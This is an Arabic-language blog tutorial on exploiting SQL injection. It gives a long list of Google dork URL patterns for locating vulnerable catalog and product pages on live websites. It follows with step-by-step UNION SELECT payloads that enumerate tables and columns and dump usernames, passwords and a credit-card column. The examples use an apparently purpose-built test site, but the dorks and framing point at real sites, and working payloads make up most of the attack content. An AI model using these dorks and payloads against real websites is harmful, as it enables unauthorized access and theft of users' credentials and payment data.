السلام عليكم
في هذه التدوينة سأشرح مفهوم الثغرة وكيفية استغلالها وهناك شرح بالفيديوا شاهدوه
لتفهموا أكثر .
ما هو SQL Injection:
sql injection من بين أكثر الثغرات
تواجدا على مواقع الأنترنيت و هو
ببساطة هجوم يتم فيه حقن كود sql بتطبيق
الويب حتى يتم استخراج
البيانات من قاعدة االبيانات التي يعتمد عليها
الموقع ، والثغرة تعتمد على
خطأ في عدم معاينة ما يتم إدخاله قبل ان يتم
تمريره لقاعدة البيانات ،كما
يمكنك تجاوز نافذة authentication باستعمال
هذه الثغرة، و بالنسبة
لتدونتنا سنقوم فقط بشرح استخراج البيانات باعتماد
Union .
هناك العديد من الطرق ﻹكتشاف الثغرات ومن بينها الدورك
وهو عبارة عن كود يوضع في جوجل لتضييق البحث عن الشيء المراد
البحث عنه ,
cat.asp?cat=
productlist.asp?catalogid=
Category.asp?category_id=
Category.cfm?category_id=
category.asp?cid=
category.cfm?cid=
category.asp?cat=
category.cfm?cat=
category.asp?id=
index.cfm?pageid=
category.asp?catid=
Category.asp?c=
Category.cfm?c=
productlist.cfm?catalogid=
productlist.asp?catalogid=
viewitem.asp?catalogid=
viewitem.cfm?catalogid=
catalog.cfm?catalogId=
catalog.asp?catalogId=
department.cfm?dept=
department.asp?dept=
itemdetails.cfm?catalogId=
itemdetails.asp?catalogId=
product_detail.asp?catalogid=
product_detail.cfm?catalogid=
product_list.asp?catalogid=
product_list.cfm?catalogid=
ShowProduct.cfm?CatID=
ShowProduct.asp?CatID=
search_results.cfm?txtsearchParamCat=
search_results.asp?txtsearchParamCat=
itemdetails.cfm?catalogId=
itemdetails.asp?catalogId=
store-page.cfm?go=
store-page.asp?go=
Detail.cfm?CatalogID=
Detail.asp?CatalogID=
browse.cfm?category_id=
view.cfm?category_id=
products.cfm?category_id=
index.cfm?Category_ID=
detail.cfm?id=
category.cfm?id=
showitems.cfm?category_id=
ViewProduct.asp?PID=
ViewProduct.cfm?PID=
shopdisplayproducts.asp?catalogid=
shopdisplayproducts.cfn?catalogid=
displayproducts.cfm?category_id=
displayproducts.asp?category_id=
DisplayProducts.asp?prodcat=
DisplayProducts.cfm?prodcat=x
productDetail.cfm?ProductID=
products.php?subcat_id=
showitem.cfm?id=21
productdetail.cfm?pid=
default.cfm?action=46
products_accessories.asp?CatId=
Store_ViewProducts.asp?Cat=
category.cfm?categoryID=
category.asp?category=
tepeecart.cfm?shopid=
view_product.asp?productID=
ProductDetails.asp?prdId=12
products.cfm?ID=
detail.asp?product_id=
product_detail.asp?product_id=
products.php?subcat_id=
product.php?product_id=
view_product.cfm?productID=
product_details.asp?prodid=
shopdisplayproducts.cfm?id=
تطبيق على موقع مصاب ب sql injection :
بعد ايجاد موقع ما سنقوم بالدخول اليه وو ضع هذه العلامة ' امام الرابط
حتى نتمكن من معرفة هل الموقع يقوم بفلترة ما يتم إدخاله أم لا ، و وجود
الثغرة يكون عن طريق ظهور رسالة مشابهة لهذه :
You
have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '\'' at line 1
المرحلة الثانية
في هذه المرحلة سنقوم بإضافة order by و رقم العمود و نستمر في
تغيير رقم العمود حتى يظهر الخطأ ، بهذه الطريقة نحدد عدد الأعمدة,
المرحلة الثالثة
في هذه المرحلة سيكون الهذف هو تحديد
الأعمدة columns المصابة
بالثغرة و التي سنستعملها في استخراج و إظهار
البيانات من قاعدة البيانات
و لهذا الغرض سنستعمل الكود Union و بإضافة رمز
- لقيمة المتغييرId
testphp.vulnweb.com/artists.php?artist=-1 union all select 1,2,3--
المرحلة الرابعة
سنقوم باستخراج المعلومات التالية وإظهارها على العمود 2 و أهمها هي
إصدارقاعدة البيانات
testphp.vulnweb.com/artists.php?artist=-1 union all select 1,user(),3--
أو
version() إصدار قاعدة البيانات
testphp.vulnweb.com/artists.php?artist=-1 union all select 1,version(),3--
أو
database()إسم قاعدة البيانات
testphp.vulnweb.com/artists.php?artist=-1 union all select 1,database(),3--
إصدار قاعدة البيانات عادة ما يكون 5 ،لذا أن كل الإصدارت أقل
من 5 لا تحتوي على information_schema و
بالتالي سنكون
ملزمين على تخمين إسم الجداول .
المرحلة الخامسة
سنقوم باستخراج مجموع الجداول والبحث عن الأهم و هو غالبا الذي يحمل
الأدمين وبياناته الشخصية :
www.testphp.vulnweb.com/artists.php?artist=-1 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
بعد القيام باستخراج الجداول ستقوم باختيار جدول معين مثل users
المرحلة السادسة
بعد أن قمنا بتحديد الجدول يجب أن نقوم بتحويله إلى صيغة Hex فمثلا
users سيصبح 0x7573657273
www.testphp.vulnweb.com/artists.php?artist=-1 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
المرحلة السابعة
أخيرا نأتي لاستخراج المعلومات وسنقوم بالفصل بين email و pass و
uname ب 0x3a وهي العلامة : بالهيكس ,
http://testphp.vulnweb.com/artists.php?artist=-1 union all select 1,concat(uname,0x3a,pass,0x3a,cc),3 from users--
هكذا أكون قد أتممت هذا الشرح ,اتمنى أن تستفيدوا منه
https://pastebin.com/JJRR1TJJ
تعبيراتتعبيرات